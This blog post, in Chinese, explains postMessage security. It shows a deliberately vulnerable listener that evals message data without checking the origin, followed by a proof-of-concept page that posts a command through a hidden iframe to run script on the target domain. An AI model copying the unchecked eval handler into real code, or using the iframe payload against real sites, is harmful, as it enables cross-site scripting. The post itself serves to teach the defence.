postMessage安全性问题

0x00

浏览器有同源策略,规定js访问必须遵循同源策略,即满足同协议-同域名-同端口条件才能访问web资源,cookie,dom等等。
跨域的方式也有很多种,jsonp,window.name,document.cookie,其中postMessage就是一种跨域的方法。
使用postMessage方法时,我们只要发送端拥有某个窗口的有效js的句柄,就可以通过这套机制向该窗口发送任意长度的文本信息。
场景:
pay.example.com根目录下有个页面想获取用户的登录信息,为了达到这个目的,pay.example.com的根路径下有个页面加载了一个指向login.example.com的子框架。
1、这个子框架只需要发出以下指令:

parent.postMessage("user=bob", "https://pay.example.com");

2、在pay.example.com中获取这个message:

//对传进来需要处理的消息先进行注册
addEventListener("message", user_info, false) ;
//收到实际数据时的具体处理
function user_info(msg){
    if(msg.origin == "https://login.example.com"){
        //根据计划使用msg.data数据
    }
}

从上面的代码可以看出,使用postMessage时,必须要判断消息的来源,使用回调参数中的origin属性进行判断,从而限制不可信域请求我们的资源。但是有时候由于疏忽,会漏掉判断,这就会导致安全问题。

0x01

看一段代码:

The secret is random and different for each visitor.<br/>
<br />
Xss It! 
<script>
    var secret = Math.random();
    var data=localStorage.getItem("secret");
    if(!data){
        data=secret;
        localStorage.setItem("secret",data)
    }
    data=data+"";
    console.log("secret is :"+ data);
    window.addEventListener("message",function(e){
        var d=e.data;
        if(!d || !d.secret){return;}
        var token=d.secret;
        var action=d.action;
        switch(action){
            case "check":
                if(data.match(new RegExp(token))){
                    console.log("ok");
                }
                break;
            case "run":
                if(token === data){
                    eval(d.cmd);
                }
                break;
            default:
                void 0;
        }
    })
</script>

页面通过addEventListenr方法捕捉一个message事件,但是没有判断请求的来源就进行eval操作,这就会导致任意域在本域执行JS代码。写个页面即可,先获取窗口句柄,再发送恶意数据即可。
代码如下:

<!DOCTYPE html>
<html>
<body>
postMessage for xss test
<script>
var f = document.createElement('iframe') ;
f.style = "display:none;" ;
f.width = "0" ;
f.height = '0' ;
f.name = "poor" ;
f.src = "http://xxoo.sinaapp.com/test/test.htm" ;
document.body.appendChild(f) ;
f.onload = function(){
    var w = f.contentWindow ;
    w.postMessage({secret:"0.8192312608007342",action:'run',cmd:'alert(location.href)'},"http://xxoo.sinaapp.com/test/test.htm") ;
}
</script>
</body>
</html>

通过这种方式可以在xxoo.sinaapp.com域上执行任意js代码,突破同源限制。所以,以后使用postMessage跨域,应该做好一定的防范和验证。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值